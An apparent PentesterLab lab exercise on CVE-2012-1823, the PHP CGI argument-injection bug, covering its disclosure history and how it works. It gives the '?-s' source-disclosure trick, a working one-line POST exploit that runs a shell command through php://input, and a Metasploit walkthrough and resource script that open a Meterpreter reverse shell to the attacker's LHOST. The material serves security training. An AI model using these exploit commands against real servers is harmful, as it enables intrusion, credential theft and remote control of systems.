CVE-2012-1823: PHP CGI
This exercise explains how you can exploit CVE-2012-1823 to retrieve the source code of an application and gain code execution.
This course details the exploitation of the PHP CGI bug: CVE-2012-1823. This bug can be used by attackers to retrieve arbitrary code, and gain code execution on a server.
This bug was initially discovered by Eindbazen
during the Nullcon Capture The Flag event. Eindbazen
is a famous CTF team that has participated in most CTFs.
The original advisory is available on their blog: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823 (no longer active).
The following timeline of this bug (copied from the advisory's page) is worth reading since it's pretty funny and gives you a good idea on how much time vendors asked/needed to fix an issue:
13/01/2012
: Vulnerability discovered, used to compromise Nullcon Hackim 2012 scoreboard.17/01/2012
:Eindbazen
contacts security@php.net with a full report and a suggested patch.01/02/2012
:Eindbazen
asks PHP to confirm receipt, and state their intent to hand off the vulnerability to CERT if progress is not made.01/02/2012
: PHP forwards the vulnerability report to PHP CGI maintainer.23/02/2012
: CERT acknowledges receipt of the vulnerability and attempts to contact PHP.05/04/2012
:Eindbazen
asks CERT for a status update.05/04/2012
: CERT responds saying that PHP is still working on a fix.20/04/2012
:Eindbazen
asks CERT to proceed with a disclosure unless a patch is imminent.26/04/2012
: CERT prepares a draft advisory.02/05/2012
: CERT notifiesEindbazen
that PHP is testing a patch and would like more time.Eindbazen
agrees.03/05/2012
: Someone posts a mirror of the internal PHP bug on reddit/r/netsec
/r/opensource
and/r/technology
. It was apparently accidentally marked public.
As you can see, there are 4 months between the discovery of the vulnerability and its disclosure. Finally, "someone's" mistake forced Eindbazen
do go public...
The bug is due to an error on how the URI
is used and provided to PHP CGI when a URL lacks the =
character (typically used to separate a parameter's name and its value).
Basically, the URI
is passed to the php-cgi
binary without enough filtering or encoding, allowing an attacker to pass an extra argument to the php-cgi
command line.
If you have access to the php-cgi
binary, you can run it to see what options are available:
user@debian:~$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
php <file> [args...]
-a Run interactively.
-b <address:port>|<port> Bind Path for external FASTCGI Server mode.
-C Do not chdir to the script's directory.
-c <path>|<file> Look for php.ini file in this directory.
-n No php.ini file will be used.
-d foo[=bar] Define INI entry foo with value 'bar'.
-e Generate extended information for debugger/profiler.
-f <file> Parse <file>. Implies '-q'.
-h This help.
-i PHP information.
-l Syntax check only (lint).
-m Show compiled in modules.
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number.
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.
We can see that the -s
option can be used to display the source code of the script.
We can use this behavior to retrieve the source code of the application by adding ?-s
to the URL. This behavior can be really useful to:
- Retrieve the source code.
- Retrieve the database credentials.
- Retrieve the encryption keys or any password.
For example, access the page http://vulnerable/?-s
to see the page's code output directly. If you read the source code of the page, you will see that all the HTML code has been encoded to be displayed in the browser.
More than just allowing code disclosure, this vulnerability allows attackers to get code execution.
To get code execution, we need to send PHP code to the server and have it be interpreted. The exploitation is based on using php://input
to embed the code in the body of the request.
As we have seen above, the -d
option can be used to change the PHP configuration by modifying the INI
entries.
The exploitation on this exercise requires just two entries to be used (to keep things simple).
To exploit this bug, you want PHP to read PHP code from your HTTP request. To do that, you will need a PHP option that tells PHP to read from a file and points it to php://input
. Luckily, PHP has an option named auto_prepend_file
, which since version 4.2.3
: "Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require
function, so include_path
is used".
The good thing about this option is that the content of the file is included before any other file, i.e.: before any other code is run.
So you are sure that no other code will disrupt your exploitation attempt.
However, if we want to use php://input
, we need to have allow_url_include
enabled, which is often not the case. But since we can redefine the INI
entries, we can easily turn it on using -d allow_url_include=1
.
This exercise is an ideal and easy case to exploit since Suhosin
and safe mode
are disabled. You can exploit CVE-2012-1823 using a proxy like Burp Suite, or any tool allowing you to send an HTTP POST
request.
In this example, we are going to use lwp-request
, a Perl based HTTP library. Once installed the lwp-request
allows you to easily perform HTTP requests, using the command lwp-request
or directly GET
and POST
.
echo "<?php system('uname -a');die(); ?>" | POST "http://vulnerable/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
The call to the die()
function is only used to get the result, and prevent any other code or output to be displayed.
You should now see the result of your command!
Metasploit can be downloaded from their main website. Once you have decompressed the archive file, you can display the console using the command msfconsole
.
Once you have Metasploit
installed, you can start it by running msfconsole
:
$ msfconsole
After few seconds, the msf
shell will appear:
msf >
Now select the exploit you want to use:
msf > use exploit/multi/http/php_cgi_arg_injection
You should be able to select your "victim", the RHOST
(remote host):
msf exploit(php_cgi_arg_injection) > set RHOST vulnerable
Since the application is running on port 80
(the default port) and there is no vhost
, you don't need to set the RPORT
and VHOST
options.
You can now select a PAYLOAD
(the code that will actually be run).
For this, we are going to use Metasploit Meterpreter
:
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
From there, you just need to tell Metasploit
what IP address to use to connect back to you:
msf exploit(php_cgi_arg_injection) > set LHOST <your ip>
LHOST => <your ip>
After a quick review of the options:
msf exploit(php_cgi_arg_injection) > show options
Module options (exploit/multi/http/php_cgi_arg_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST vulnerable yes The target address
RPORT 80 yes The target port
TARGETURI no The URI to request
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST <your ip> yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Now we can run the exploit:
msf exploit(php_cgi_arg_injection) > exploit
[*] Started reverse handler on <your ip>:4444
[*] Sending stage (38791 bytes) to <your ip>
[*] Meterpreter session 1 opened (<your ip>:4444 -> <your ip>:39055) at 2012-05-22 16:10:40 +1000
If everything goes well, you can play with meterpreter
:
meterpreter > ls
Listing: /var/www
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100664/rw-rw-r-- 2023 fil 2012-05-04 12:02:39 +1000 all.css
100664/rw-rw-r-- 289881 fil 2012-05-04 12:02:41 +1000 all.js
100664/rw-rw-r-- 42140 fil 2012-05-04 12:02:57 +1000 bootstrap-1.1.0.css
100664/rw-rw-r-- 56399 fil 2012-05-04 12:02:39 +1000 bootstrap.css
100664/rw-rw-r-- 1150 fil 2012-05-04 12:02:34 +1000 favicon.ico
100664/rw-rw-r-- 2684 fil 2012-05-04 14:09:04 +1000 index.php
100664/rw-rw-r-- 388 fil 2012-05-04 12:02:39 +1000 patch.css
Now that you have the exploit working, you can automate the exploitation by creating a Metasploit
script containing the following code (the list of commands from the previous section):
use exploit/multi/http/php_cgi_arg_injection
set RHOST vulnerable
set RPORT 80
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <your ip>
exploit
Once this code is saved as php-cgi.msf
, you can easily run it:
$ msfconsole -r php-cgi.msf
[ASCII ART]
[*] Processing metasploit-script for ERB directives.
resource (metasploit-script)> use exploit/multi/http/php_cgi_arg_injection
resource (metasploit-script)> set RHOST vulnerable
RHOST => vulnerable
resource (metasploit-script)> set RPORT 80
RPORT => 80
resource (metasploit-script)> set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
resource (metasploit-script)> set LHOST <your ip>
LHOST => <your ip>
resource (metasploit-script)> exploit
[*] Started reverse handler on <your ip>:4444
[*] Sending stage (38791 bytes) to <your ip>
[*] Meterpreter session 1 opened (<your ip>:4444 -> <your ip>:38881) at 2012-05-22 15:32:29 +1000
meterpreter >
You can then play with metasploit
, as seen previously.
This exercise showed you how to exploit the bug PHP-CGI (aka CVE-2012-1823).
I hope you enjoyed learning with PentesterLab.